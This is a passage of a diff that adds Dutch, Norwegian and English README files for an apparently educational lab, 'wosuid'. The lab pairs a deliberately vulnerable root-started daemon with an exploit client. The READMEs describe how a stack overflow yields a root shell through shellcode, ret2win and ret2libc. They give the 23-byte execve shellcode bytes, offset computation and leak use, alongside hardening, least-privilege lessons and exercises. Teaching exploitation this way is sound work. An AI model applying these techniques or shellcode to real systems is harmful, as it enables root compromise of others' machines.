| `shellcode` | root-shell (uitvoerbare stack) | SIGSEGV bij de canary-controle / NX |
|
||||||
|
| `ret2win` / `ret2libc` | root-shell | canary aborted de `ret` — maar merk: een *PIE*-build maakt deze adressen ook willekeurig |
|
||||||
|
| `demo` | SIGSEGV, gelogd | SIGSEGV, gelogd |
|
||||||
|
|
||||||
|
`make test-hardened` demonstreert het live. De belangrijke observatie is niet
|
||||||
|
alleen dat de tegenmaatregelen de technieken doodden — het is dat ze de daemon
|
||||||
|
**niet** "niet-root" maakten. Een geharde build die nog steeds als root
|
||||||
|
*gestart* wordt, is nog steeds een root-daemon; de tegenmaatregel verhoogt
|
||||||
|
alleen de lat voor de aanvaller. Minste privilege (`drop_privs()`) en
|
||||||
|
geheugenveiligheid zijn twee verschillende bugs, en een daemon die geen root
|
||||||
|
nodig heeft, zou het niet moeten hebben.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Veiligheidsleuningen (zelfde beleid als het SUID-lab)
|
||||||
|
|
||||||
|
- **Alleen loopback.** foowosd weigert iets anders dan `127.0.0.1` /
|
||||||
|
`localhost` / `::1` te binden, tenzij je `-L` geeft. Een root-daemon op een
|
||||||
|
echte interface is een *externe* root-dienst. `-L` bestaat alleen om de
|
||||||
|
wacht te tonen; gebruik het niet op iets dat ertoe doet.
|
||||||
|
- **De toestand wordt luid gelogd.** Bij de start print hij `ruid/euid` en of
|
||||||
|
dit een root-proces is, zodat je altijd weet welk exploit-resultaat je moet
|
||||||
|
verwachten.
|
||||||
|
- **Oordelen komen uit exit-status** in `make test*` (de retourcode van de
|
||||||
|
pty-harness), nooit uit het greppen van zijn stdout — grepbare output liegt.
|
||||||
|
- **De pty moet cooked + ECHO off draaien**, anders echoët de harness zijn
|
||||||
|
eigen commandoregel en vervalst de markering. De harness zet ECHO uit en
|
||||||
|
houdt ECHONL aan.
|
||||||
|
- **Opruimritueel:** `make stop` na elke sessie. Als de daemon root-bezeten
|
||||||
|
is, zegt `stop` je `sudo pkill -x foowosd` te draaien.
|
||||||
|
- Draai dit nooit op een host waar je om geeft. Het bestaat om `uid=0`-shells
|
||||||
|
over de loopback-interface uit te delen.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Oefeningen
|
||||||
|
|
||||||
|
1. Draai `make run` (user-daemon), daarna `./foowosc -t shellcode`. Waarom is
|
||||||
|
de shell niet root? (Check `ids=` in het banner — foowosc zegt het je vóór
|
||||||
|
je überhaupt verbindt.)
|
||||||
|
2. `make stop && sudo make run-root && make test-root`. Verklaar aan de hand
|
||||||
|
van de bannerregel waarom alle vier de technieken nu `uid=0(root)` geven.
|
||||||
|
3. Vind in `foowosd.c` `drop_privs()` en lees *waarom de volgorde* van
|
||||||
|
`setgroups → setgid → setuid` ertoe doet. Bepaal waar in `main()` hij thuis
|
||||||
|
zou horen, en wat het aanvalsoppervlak van het lab wordt wanneer hij
|
||||||
|
daadwerkelijk wordt aangeroepen.
|
||||||
|
4. Bereken `rip_off` met de hand uit `objdump -d foowosd`: vind de
|
||||||
|
`lea -0xNN(%rbp)` van `buf` binnenin `vulnerable_handler`, daarna `NN + 8`.
|
||||||
|
foowosc doet precies dat; controleer zijn rekensom tegen de jouwe.
|
||||||
|
5. `make hardened && make test-hardened`. Welke techniek valt voor de canary,
|
||||||
|
en welke voor NX? Waarom verandert harden niet wat `make status` over *het
|
||||||
|
proces* rapporteert?
|
||||||
|
6. Vergelijk de shellcodes van de twee labs: 23 bytes hier, 32 voor foosd. Wat
|
||||||
|
doen de extra 9 bytes, en waarom zijn ze alleen in het SUID-geval nodig?
|
||||||
|
7. Lees de commentaar van `become_shell()` over de enkele lees-cursor. Maak de
|
||||||
|
faaltoestand mentaal na: twee lezers op één socket betekent dat de
|
||||||
|
login-shell één byte per chunk eet — "uid=1000…" arriveert als "id=1000…".
|
||||||
|
Waarom kan een relay-proces deze bug nooit hebben?
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Bestanden
|
||||||
|
|
||||||
|
```
|
||||||
|
foowosd.c de kwetsbare root-daemon (elke regel gecommentarieerd)
|
||||||
|
foowosc.c het exploit (elke regel gecommentarieerd)
|
||||||
|
shellcode.S referentie-assembly voor de 23-byte-payload
|
||||||
|
tests/pty_wosuid_test.c de pty-harness (markering + strikte id-vorm-controle)
|
||||||
|
Makefile build / run / run-root / run-root-ns / test /
|
||||||
|
test-root / verify / hardened / clean …
|
||||||
|
```
|
||||||
|
|
||||||
|
Zuster-labs: `../food.c`/`../fooc.c` (user-level-baseline, poort 2342) en
|
||||||
|
`../suid/` (SUID-root-daemon `foosd`/`foosc`, poort 2343). De poorten zijn
|
||||||
|
bewust verschillend — je kunt alle drie tegelijk draaien en hun `ids=`-regels
|
||||||
|
in het banner kruislings controleren.
|
||||||
309
wosuid/README.NO.md
Normal file
309
wosuid/README.NO.md
Normal file
|
|
@ -0,0 +1,309 @@
|
||||||
|
# `wosuid`-laboratoriet — root-RCE **uten** setuid-bit
|
||||||
|
|
||||||
|
```
|
||||||
|
foowosd en bevisst sårbar daemon som er root fordi den ble *STARTET* som
|
||||||
|
root (port 2344, bare loopback som standard)
|
||||||
|
foowosc exploitet: forvandler et stack-overløp til en **root**-shell ved å
|
||||||
|
utføre shellcode — de samme 23 bytene som knekte user-level-
|
||||||
|
`food`-daemonen i hovedlaboratoriet
|
||||||
|
```
|
||||||
|
|
||||||
|
Det er det tredje laboratoriet i serien. Samme exploit-verktøykjede, samme
|
||||||
|
stil, én fundamental forskjell:
|
||||||
|
|
||||||
|
| Laboratorium | hvordan målprosessen blir root | `uid=0(root)`-shell? |
|
||||||
|
|----------|------------------------------------------------|----------------------|
|
||||||
|
| food/fooc| aldri — det er en vanlig user-daemon | nei |
|
||||||
|
| foosd/foosc | SUID-biten (`chmod u+s`) — euid 0, ruid 1000 | ja (krever `setreuid` i shellcoden, fordi bash nullstiller euid→ruid) |
|
||||||
|
| **foowosd/foowosc** | **ingen — root *starter* daemonen** (sudo / systemd `User=root`) | **ja (vanlig `execve`-shellcode)** |
|
||||||
|
|
||||||
|
Setuid-biten er et *transportmiddel* for privilegier — ikke privilegiene selv.
|
||||||
|
En daemon startet av root har reell, effektiv og lagret uid alle lik 0. For
|
||||||
|
kjernen er det root, punktum; den kan og vil ikke vite om prosessen kom dit via
|
||||||
|
`+s` på en fil eller via `sudo ./foowosd`. Overløpet i en root-startet daemon er
|
||||||
|
altså et root-exploit — *«jeg har ingen SUID-binærfiler» er ikke det samme som
|
||||||
|
«jeg er ikke utnyttbar».*
|
||||||
|
|
||||||
|
Det er hele leksjonen i dette laboratoriet. Alt nedenfor er maskineriet.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Rask start (det brukeren ba om)
|
||||||
|
|
||||||
|
```
|
||||||
|
cd wosuid
|
||||||
|
make # bygger daemonen, exploitet og test-harnessen
|
||||||
|
```
|
||||||
|
|
||||||
|
### Det ekte — kjør daemonen som **root**
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo make run-root # starter foowosd som uid 0 (prosess, ikke filtillstand)
|
||||||
|
make test-root # hver teknikk skal nå gi uid=0(root)
|
||||||
|
```
|
||||||
|
|
||||||
|
### Ikke sudo? Den identiske kjernesti via en user-namespace
|
||||||
|
|
||||||
|
```
|
||||||
|
make run-root-ns # uid 0 i en user-namespace — ingen passord nødvendig
|
||||||
|
make test-root # samme dommer; brukes av CI og alle uten sudo
|
||||||
|
```
|
||||||
|
|
||||||
|
### Baseline — daemon som din vanlige bruker (intet root noen steder)
|
||||||
|
|
||||||
|
```
|
||||||
|
make run # foowosd kjører med dine uid-er
|
||||||
|
make test # exploits lander shells, men `root` forventes MISSING
|
||||||
|
```
|
||||||
|
|
||||||
|
### Oppryddingsritual (alltid: dette er et root-shell-laboratorium)
|
||||||
|
|
||||||
|
```
|
||||||
|
make stop
|
||||||
|
```
|
||||||
|
|
||||||
|
`foowosd` er *ikke* setuid, og intet i dette biblioteket gjør noen gang
|
||||||
|
`chmod +s` — det er poenget. Den farlige tilstanden er **prosessen**, ikke
|
||||||
|
filen.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Når du blir bedt om å sette SUID-biten
|
||||||
|
|
||||||
|
Det blir du **ikke**. Dette laboratoriet har bevisst ingen SUID-bit:
|
||||||
|
|
||||||
|
- `foowosd` bygges, eies og har vanlige tillstander som ethvert annet program.
|
||||||
|
- Det blir root, som ekte daemoner gjør — ved å bli *startet* av root.
|
||||||
|
- `make run-root` bruker `sudo` til nøyaktig det, og `make run-root-ns` skaffer
|
||||||
|
en ekte uid-0-prosess helt uten noe av det.
|
||||||
|
|
||||||
|
Suid-biten tilhører *søster*-laboratoriet (`foosd`). Kontrasten mellom de to
|
||||||
|
er pensum:
|
||||||
|
|
||||||
|
1. SUID-laboratoriet: biten gir **euid 0, men ruid 1000** →
|
||||||
|
`execve("/bin/sh")` nedgraderes av bashs vakt (`euid != ruid` → reset) →
|
||||||
|
shellcoden må først kalle `setreuid(0,0)` (32-byte-payload).
|
||||||
|
2. Dette laboratoriet: root **starter** prosessen → **ruid == euid == 0** →
|
||||||
|
vakten har ingenting å nullstille → den vanlige 23-byte `execve`-shellcoden
|
||||||
|
beholder root.
|
||||||
|
|
||||||
|
Samme overløp. Samme teknikk. Forskjellig *opprinnelse* av privilegier,
|
||||||
|
annerledes payload-form. Det er leksjonen i miniatyr.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Protokollen
|
||||||
|
|
||||||
|
Uansett hvilken slags klient som kobler til, hilser foowosd på den med:
|
||||||
|
|
||||||
|
```
|
||||||
|
FOOWOSD 1.0 ids=0/0 leak stack=0x7ffd… libc=0x7f… (banneret + leaks)
|
||||||
|
BUF=0x7ffd… (bufferadressen)
|
||||||
|
```
|
||||||
|
|
||||||
|
`ids=euid/ruid` er *«er jeg root?»*-sidekanalen. foowosc skriver ut en høy
|
||||||
|
advarsel når euid ikke er 0 (dvs. du startet daemonen som en vanlig bruker):
|
||||||
|
payloaden lander fortsatt, men shellen blir en bruker-shell, og å kalle
|
||||||
|
exploitet «i stykker» ville vært feil — det eskalerer bare ikke.
|
||||||
|
|
||||||
|
> Staveform-merknad: `ids=`, ikke `euid=`/`ruid=`. Test-harnessen beviser en
|
||||||
|
> levende `id` ved å matche den bokstavelige formen `uid=NNN(`, så banneret må
|
||||||
|
> aldri inneholde en delstreng som selv oppfyller sjekken. (I SUID-laboratoriet
|
||||||
|
> produserte nøyaktig den fellen et spektakulært falskt positivt.)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Exploit-teknikkene (`foowosc -t …`)
|
||||||
|
|
||||||
|
Alle fire exploit-stiene nedenfor virker mot foowosd. Når daemonen er root,
|
||||||
|
gir **alle som spawner noe, root** — i motsetning til SUID-laboratoriet der
|
||||||
|
ret2win/ret2libc stille og rolig ble nedgradert til uid 1000 av bashs vakt. Her
|
||||||
|
er det intet mismatch å vokte mot.
|
||||||
|
|
||||||
|
| `-t` | hva som skjer | når daemonen er root |
|
||||||
|
|---------------|---------------------------------------------------------------------|---------------------|
|
||||||
|
| `shellcode` | 23-byte-`execve("/bin/sh", NULL, NULL)` kjører på stacken. | **root-shell** (standard) |
|
||||||
|
| `ret2win` | hopp til `win()` → `execl("/bin/sh")` | **root-shell** |
|
||||||
|
| `ret2libc` | ROP: `pop rdi; ret` → `"/bin/sh"` → `system()` | **root-shell** |
|
||||||
|
| `demo` | bare søppel-overløp — forvent et SIGSEGV i daemonloggen | krasj, etter design |
|
||||||
|
| `leak` | skriver bare ut leaks, sender ingen payload | n/a |
|
||||||
|
|
||||||
|
```
|
||||||
|
./foowosc -t shellcode # interaktiv; standard-target 127.0.0.1:2344
|
||||||
|
./foowosc -t shellcode -n # send og rapporter, ingen interaktiv økt
|
||||||
|
```
|
||||||
|
|
||||||
|
En vellykket interaktiv økt videresender terminalen din til shellen *på
|
||||||
|
offeret* — det er nøyaktig én shell i bildet, og det er `/bin/sh` som kjører
|
||||||
|
som root inne i foowosd. Skriv `id` for å se `uid=0(root)`.
|
||||||
|
|
||||||
|
### Hvorfor det ikke finnes noen `ret2win-root`-teknikk her
|
||||||
|
|
||||||
|
foosc hadde én — den hoppet til et `win_root()` som kalte `setreuid(0,0)` før
|
||||||
|
exec, fordi en setuid-prosess kjørte med en reell uid som fortsatt sa 1000. En
|
||||||
|
root-*startet* prosess har den reelle uid-en allerede 0; det er ingenting å
|
||||||
|
rydde, så den ekstra funksjonen og teknikken ville ikke lært noe. Fjernet.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Hva foowosc gjør, steg for steg
|
||||||
|
|
||||||
|
1. **Statisk analyse** — `objdump -d` av `./foowosd`. Finner
|
||||||
|
`vulnerable_handler`, `win()`, det `lea -0x50(%rbp)` som adresserer `buf`,
|
||||||
|
og det første nakne `ret`. Ut fra forskyvningen beregner det
|
||||||
|
`rip_off = 80 + 8 = 88`. Ingenting er hardkodet; det overlever en ombygging.
|
||||||
|
2. **Selv-introspeksjon** — leser sitt eget `/proc/self/maps` og `dlsym()`er
|
||||||
|
`system`/`read` for å lære libc-*offsets*. Targetets libc-base er
|
||||||
|
`leaked_read − off_read`, deretter `system = base + off_system`, osv. Denne
|
||||||
|
delta-aritmetikken er grunnen til at exploits overlever libc-versjoner.
|
||||||
|
3. **Koble til** — leser banneret/leaks (`ids=`, `stack=`, `libc=`, `BUF=`).
|
||||||
|
4. **Bygg payloaden** — for `shellcode`: 23 bytes maskinkode, padding til
|
||||||
|
`rip_off`, deretter den lagrede RIP = `buf` (så `ret` hopper inn på koden).
|
||||||
|
For `ret2win`/`ret2libc`: adresser beregnet ut fra analysen — ingen
|
||||||
|
utførelse av stacken nødvendig.
|
||||||
|
5. **Justeringsfixen** — et kapret nakent `ret` gir callee-en
|
||||||
|
`rsp ≡ 8 (mod 16)`, og glibcs SSE2-kode `movaps`-feiler på en ikke-justert
|
||||||
|
stack (crash-reporteren logger `si_addr=(nil)` — fingerpeket). foowosc
|
||||||
|
setter inn ett ekstra `ret`-gadget før det ekte målet og gjenoppretter
|
||||||
|
invarianten. Silkehansketeknikk i et shellcode-laboratorium, men det er
|
||||||
|
forskjellen mellom en payload som «noen ganger virker» og en som alltid
|
||||||
|
virker.
|
||||||
|
6. **Send, deretter videresend** — offerprosessen *er* shellen; denne prosessen
|
||||||
|
splisser bare bytes. Ingen lokal shell, ingen annen leser —
|
||||||
|
single-read-cursor-feilen (ett spist byte per chunk) er dokumentert i
|
||||||
|
`become_shell()`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Daemonens bevisste feil (alle i `foowosd.c`, alle ekte CWE-klasser)
|
||||||
|
|
||||||
|
| # | feil | CWE | notat |
|
||||||
|
|---|-----|-----|------|
|
||||||
|
| 1 | `read(fd, buf, 512)` inn i et 64-byte stack-buffer | CWE-120 | overløpet: 448 bytes forbi `buf`, lagret RIP ved +88 |
|
||||||
|
| 2 | bare `snprintf(line, …, "%.*s", …)`; men angriper-`%` i ekko-stien | CWE-134 | leaket er her den reelle payloaden; et `%n` i en *root*-prosess ville vært write-what-where som root |
|
||||||
|
| 3 | barn beholder root mens de håndterer upålitelige inputs | CWE-271 | det korrekte `drop_privs()` (setgroups→setgid→setuid, i den rekkefølgen, med verifikasjon) står i filen, kommentert, *bevisst aldri kalt* |
|
||||||
|
| 4 | `ids=`, `stack=`, `libc=`, `BUF=` avslørt til enhver klient | CWE-200 | uten disse leaks kunne ikke shellcode- og ret2libc-teknikkene beregne adresser (ASLR ville beseiret dem) |
|
||||||
|
|
||||||
|
Handleren har nøyaktig samme `buf[64]`/`read(512)`-form som de to andre
|
||||||
|
laboratoriene, så den felles objdump-baserte oppdagelsespipelinen virker
|
||||||
|
uendret.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Slik inspiserer du daemonen (læringssti)
|
||||||
|
|
||||||
|
```
|
||||||
|
make status # kjører den? som hvilken uid? filtillstand vises
|
||||||
|
make run-root # eller run / run-root-ns
|
||||||
|
./foowosc -t leak # se banneret og leaks, send ingenting
|
||||||
|
./foowosc -t demo # søppel-overløp -> SIGSEGV, logget med RIP/rsp
|
||||||
|
./foowosc -t shellcode # den interaktive root-shellen
|
||||||
|
make test-root # full matrise, alle teknikkene, --must-root
|
||||||
|
```
|
||||||
|
|
||||||
|
Crash-reporter: Ved SIGSEGV logger daemonen feiladressen, RIP og RSP. Et `ret`
|
||||||
|
inn i en ikke-kanonisk `0x4141…` feiler ved `ret`-et selv (RIP som `0x4028xx`,
|
||||||
|
`si_addr=(nil)`) — verdt å vite før du feilleser en logglinje som en
|
||||||
|
NULL-dereferanse.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Hvorfor shellcoden er 23 bytes, ikke 32
|
||||||
|
|
||||||
|
```
|
||||||
|
31 f6 xor esi, esi ; argv = NULL
|
||||||
|
31 d2 xor edx, edx ; envp = NULL
|
||||||
|
48 bf 2f62696e2f736800 movabs rdi, "/bin/sh\\0"
|
||||||
|
57 push rdi
|
||||||
|
48 89 e7 mov rdi, rsp
|
||||||
|
6a 3b push 0x3b ; 59 = execve
|
||||||
|
58 pop rax
|
||||||
|
0f 05 syscall
|
||||||
|
```
|
||||||
|
|
||||||
|
SUID-laboratoriet trenger `setreuid(0,0)` foran dette. Dette laboratoriet ikke,
|
||||||
|
av den grunnen som gjentas overalt: **ruid er allerede 0**, fordi root startet
|
||||||
|
prosessen. `make verify` beviser at bytene i `foowosc.c` er byte-for-byte det
|
||||||
|
`shellcode.S` assemblerer til.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Mottiltak — hva `make hardened` endrer
|
||||||
|
|
||||||
|
Hardet build (`-fstack-protector-strong -fPIE -pie -z noexecstack`):
|
||||||
|
|
||||||
|
| teknikk | sårbar `foowosd` | hardet `foowosd_hardened` |
|
||||||
|
|-----------|----------------------|------------------------------|
|
||||||
|
| `shellcode` | root-shell (kjørbar stack) | SIGSEGV ved canary-sjekken / NX |
|
||||||
|
| `ret2win` / `ret2libc` | root-shell | canary aborter `ret` — men merk: en *PIE*-build gjør også disse adressene tilfeldige |
|
||||||
|
| `demo` | SIGSEGV, logget | SIGSEGV, logget |
|
||||||
|
|
||||||
|
`make test-hardened` demonstrerer det live. Den viktige observasjonen er ikke
|
||||||
|
bare at mottiltakene drepte teknikkene — det er at de **ikke** gjorde daemonen
|
||||||
|
til «ikke-root». En hardet build som fortsatt *startes* som root, er fortsatt en
|
||||||
|
root-daemon; mottiltaket hever bare lista for angriperen. Minste privilegium
|
||||||
|
(`drop_privs()`) og minnesikkerhet er to forskjellige feil, og en daemon som
|
||||||
|
ikke trenger root, bør ikke ha det.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Sikkerhetsgelendere (samme politikk som SUID-laboratoriet)
|
||||||
|
|
||||||
|
- **Bare loopback.** foowosd nekter å binde noe annet enn `127.0.0.1` /
|
||||||
|
`localhost` / `::1`, med mindre du gir `-L`. En root-daemon på et ekte
|
||||||
|
grensesnitt er en *fjern* root-tjeneste. `-L` finnes bare for å vise vakten;
|
||||||
|
ikke bruk den på noe som betyr noe.
|
||||||
|
- **Tilstanden logges høyt.** Ved start skriver den ut `ruid/euid` og om dette
|
||||||
|
er en root-prosess, så du alltid vet hvilket exploit-resultat du skal vente.
|
||||||
|
- **Dommer kommer fra exit-status** i `make test*` (pty-harnessens
|
||||||
|
returkode), aldri fra å greppe stdout-en dens — grepbar utdata lyver.
|
||||||
|
- **pty-en må kjøre cooked + ECHO off**, ellers ekkoer harnessen sin egen
|
||||||
|
kommandolinje og forfalsker markøren. Harnessen slår av ECHO og beholder
|
||||||
|
ECHONL på.
|
||||||
|
- **Oppryddingsritual:** `make stop` etter hver økt. Hvis daemonen er
|
||||||
|
root-eid, sier `stop` deg å kjøre `sudo pkill -x foowosd`.
|
||||||
|
- Kjør aldri dette på en vert du bryr deg om. Det finnes for å dele ut
|
||||||
|
`uid=0`-shells over loopback-grensesnittet.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Øvelser
|
||||||
|
|
||||||
|
1. Kjør `make run` (user-daemon), deretter `./foowosc -t shellcode`. Hvorfor er
|
||||||
|
shellen ikke root? (Sjekk `ids=` i banneret — foowosc sier deg det før du i
|
||||||
|
det hele tatt kobler til.)
|
||||||
|
2. `make stop && sudo make run-root && make test-root`. Forklar ut fra
|
||||||
|
bannerlinjen hvorfor alle fire teknikkene nå gir `uid=0(root)`.
|
||||||
|
3. Finn i `foowosd.c` `drop_privs()` og les *hvorfor rekkefølgen* av
|
||||||
|
`setgroups → setgid → setuid` betyr noe. Bestem hvor i `main()` den ville
|
||||||
|
hørt hjemme, og hva laboratoriets angrepsflate blir når den faktisk kalles.
|
||||||
|
4. Beregn `rip_off` for hånd ut fra `objdump -d foowosd`: finn `buf`s
|
||||||
|
`lea -0xNN(%rbp)` inne i `vulnerable_handler`, deretter `NN + 8`. foowosc
|
||||||
|
gjør nøyaktig det; sjekk regnestykket dens mot ditt eget.
|
||||||
|
5. `make hardened && make test-hardened`. Hvilken teknikk faller for canaryen,
|
||||||
|
og hvilken for NX? Hvorfor endrer ikke hærdning hva `make status` rapporterer
|
||||||
|
om *prosessen*?
|
||||||
|
6. Sammenlign de to laboratorienes shellcodes: 23 bytes her, 32 for foosd. Hva
|
||||||
|
gjør de ekstra 9 bytene, og hvorfor trengs de bare i SUID-tilfellet?
|
||||||
|
7. Les `become_shell()`s kommentar om den enkelte lese-cursoren. Gjenskap
|
||||||
|
feiltilstanden mentalt: to lesere på én socket betyr at login-shellen spiser
|
||||||
|
ett byte per chunk — «uid=1000…» ankommer som «id=1000…». Hvorfor kan en
|
||||||
|
relay-prosess aldri ha denne feilen?
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Filer
|
||||||
|
|
||||||
|
```
|
||||||
|
foowosd.c den sårbare root-daemonen (hver linje kommentert)
|
||||||
|
foowosc.c exploitet (hver linje kommentert)
|
||||||
|
shellcode.S referanse-assembly for 23-byte-payloaden
|
||||||
|
tests/pty_wosuid_test.c pty-harnessen (markør + streng id-form-sjekk)
|
||||||
|
Makefile build / run / run-root / run-root-ns / test /
|
||||||
|
test-root / verify / hardened / clean …
|
||||||
|
```
|
||||||
|
|
||||||
|
Søster-laboratorier: `../food.c`/`../fooc.c` (user-level-baseline, port 2342)
|
||||||
|
og `../suid/` (SUID-root-daemon `foosd`/`foosc`, port 2343). Portene er bevisst
|
||||||
|
forskjellige — du kan kjøre alle tre samtidig og kryssjekke `ids=`-linjene
|
||||||
|
deres i banneret.
|
||||||
305
wosuid/README.md
Normal file
305
wosuid/README.md
Normal file
|
|
@ -0,0 +1,305 @@
|
||||||
|
# The `wosuid` lab — root RCE with **no** setuid bit
|
||||||
|
|
||||||
|
```
|
||||||
|
foowosd an intentionally vulnerable daemon that is root because it was
|
||||||
|
*STARTED* as root (port 2344, loopback-only by default)
|
||||||
|
foowosc the exploit: turns a stack overflow into a **root** shell by
|
||||||
|
executing shellcode — same 23 bytes that pwned the user-level
|
||||||
|
`food` daemon in the parent lab
|
||||||
|
```
|
||||||
|
|
||||||
|
This is the third lab in the series. Same exploit toolchain, same style, one
|
||||||
|
fundamental difference:
|
||||||
|
|
||||||
|
| lab | how the target process becomes root | `uid=0(root)` shell? |
|
||||||
|
|----------|------------------------------------------------|----------------------|
|
||||||
|
| food/fooc| never — it is a plain user daemon | no |
|
||||||
|
| foosd/foosc | the SUID bit (`chmod u+s`) — euid 0, ruid 1000 | yes (needs `setreuid` in the shellcode, because bash resets euid→ruid) |
|
||||||
|
| **foowosd/foowosc** | **none — root *starts* the daemon** (sudo / systemd `User=root`) | **yes (plain `execve` shellcode)** |
|
||||||
|
|
||||||
|
The setuid bit is a *transfer vehicle* for privilege — not the privilege
|
||||||
|
itself. A daemon launched by root has real, effective and saved uid all equal
|
||||||
|
to 0. To the kernel that is root, period; it cannot and does not care whether
|
||||||
|
the process got there via `+s` on a file or via `sudo ./foowosd`. So the
|
||||||
|
overflow in a root-started daemon is a root exploit — *"I don't have SUID
|
||||||
|
binaries" is not the same as "I am not exploitable".*
|
||||||
|
|
||||||
|
That is the whole lesson of this lab. Everything below is the machinery.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Quick start (what the user requested)
|
||||||
|
|
||||||
|
```
|
||||||
|
cd wosuid
|
||||||
|
make # build the daemon, the exploit, and the test harness
|
||||||
|
```
|
||||||
|
|
||||||
|
### The real thing — run the daemon as **root**
|
||||||
|
|
||||||
|
```
|
||||||
|
sudo make run-root # starts foowosd as uid 0 (process, not file mode)
|
||||||
|
make test-root # every technique must now yield uid=0(root)
|
||||||
|
```
|
||||||
|
|
||||||
|
### No sudo? The identical kernel path via a user namespace
|
||||||
|
|
||||||
|
```
|
||||||
|
make run-root-ns # uid 0 inside a user namespace — no password needed
|
||||||
|
make test-root # same verdicts; used by CI and anyone without sudo
|
||||||
|
```
|
||||||
|
|
||||||
|
### Baseline — daemon as your normal user (no root anywhere)
|
||||||
|
|
||||||
|
```
|
||||||
|
make run # foowosd runs with your uids
|
||||||
|
make test # exploits land shells, but `root` is expected MISSING
|
||||||
|
```
|
||||||
|
|
||||||
|
### Cleanup ritual (always: this is a root-shell lab)
|
||||||
|
|
||||||
|
```
|
||||||
|
make stop
|
||||||
|
```
|
||||||
|
|
||||||
|
`foowosd` is *not* setuid and nothing in this directory ever chmods `+s` —
|
||||||
|
that is the point. The dangerous state is the **process**, not the file.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## When you are told to set the SUID bit
|
||||||
|
|
||||||
|
You are **not** going to. This lab deliberately has no SUID bit:
|
||||||
|
|
||||||
|
- `foowosd` is built, owned and mode-regular like any other program.
|
||||||
|
- It becomes root the way real daemons do — by being *started* by root.
|
||||||
|
- `make run-root` uses `sudo` for exactly that, and `make run-root-ns` gets
|
||||||
|
a genuinely uid-0 process without any of it.
|
||||||
|
|
||||||
|
The suid bit belongs to the *sibling* lab (`foosd`). The contrast between the
|
||||||
|
two is the syllabus:
|
||||||
|
|
||||||
|
1. SUID lab: the bit gives **euid 0 but ruid 1000** → `execve("/bin/sh")` is
|
||||||
|
demoted by bash's guard (`euid != ruid` → reset) → shellcode must call
|
||||||
|
`setreuid(0,0)` first (32-byte payload).
|
||||||
|
2. This lab: root **starts** the process → **ruid == euid == 0** → the guard
|
||||||
|
has nothing to reset → the plain 23-byte `execve` shellcode keeps root.
|
||||||
|
|
||||||
|
Same overflow. Same technique. Different *origin* of privilege, different
|
||||||
|
payload shape. That is the lesson in miniature.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## The protocol
|
||||||
|
|
||||||
|
Whatever kind of client connects, foowosd greets it with:
|
||||||
|
|
||||||
|
```
|
||||||
|
FOOWOSD 1.0 ids=0/0 leak stack=0x7ffd… libc=0x7f… (the banner + leaks)
|
||||||
|
BUF=0x7ffd… (the buffer address)
|
||||||
|
```
|
||||||
|
|
||||||
|
`ids=euid/ruid` is the *"am I root?"* side-channel. foowosc prints a loud
|
||||||
|
warning when euid is not 0 (i.e. you started the daemon as a plain user): the
|
||||||
|
payload will still land, but the shell will be a user shell, and calling the
|
||||||
|
exploit "broken" would be wrong — it is merely not escalating.
|
||||||
|
|
||||||
|
> Spelling note: `ids=`, not `euid=`/`ruid=`. The test harness proves a live
|
||||||
|
> `id` ran by matching the literal `uid=NNN(` shape, so the banner must never
|
||||||
|
> contain a substring that itself satisfies the check. (In the SUID lab this
|
||||||
|
> exact trap produced a spectacular false positive.)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## The exploit techniques (`foowosc -t …`)
|
||||||
|
|
||||||
|
All four exploit paths below work against foowosd. When the daemon is root,
|
||||||
|
**all four that spawn anything yield root** — unlike the SUID lab, where
|
||||||
|
ret2win/ret2libc were quietly demoted to uid 1000 by bash's guard. Here there
|
||||||
|
is no mismatch to guard against.
|
||||||
|
|
||||||
|
| `-t` | what happens | when daemon is root |
|
||||||
|
|---------------|---------------------------------------------------------------------|---------------------|
|
||||||
|
| `shellcode` | 23-byte `execve("/bin/sh", NULL, NULL)` runs on the stack. | **root shell** (default) |
|
||||||
|
| `ret2win` | jump to `win()` → `execl("/bin/sh")` | **root shell** |
|
||||||
|
| `ret2libc` | ROP: `pop rdi; ret` → `"/bin/sh"` → `system()` | **root shell** |
|
||||||
|
| `demo` | junk overflow only — expect a SIGSEGV in the daemon log | crash, by design |
|
||||||
|
| `leak` | just print the leaks, send no payload | n/a |
|
||||||
|
|
||||||
|
```
|
||||||
|
./foowosc -t shellcode # interactive; default target 127.0.0.1:2344
|
||||||
|
./foowosc -t shellcode -n # send and report, no interactive session
|
||||||
|
```
|
||||||
|
|
||||||
|
A successful interactive session relays your terminal to the shell *on the
|
||||||
|
victim* — there is exactly one shell in the picture, and it is `/bin/sh`
|
||||||
|
running as root inside foowosd. Type `id` to see `uid=0(root)`.
|
||||||
|
|
||||||
|
### Why there is no `ret2win-root` technique here
|
||||||
|
|
||||||
|
foosc had one — it jumped to a `win_root()` that called `setreuid(0,0)`
|
||||||
|
before exec, because a setuid process ran with a real uid that still said
|
||||||
|
1000. A root-*started* process has real uid 0 already; there is nothing to
|
||||||
|
clear, so the extra function and technique would be teaching nothing.
|
||||||
|
Removed.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## What foowosc does, step by step
|
||||||
|
|
||||||
|
1. **Static analysis** — `objdump -d` of `./foowosd`. Finds
|
||||||
|
`vulnerable_handler`, `win()`, the `lea -0x50(%rbp)` that addresses `buf`,
|
||||||
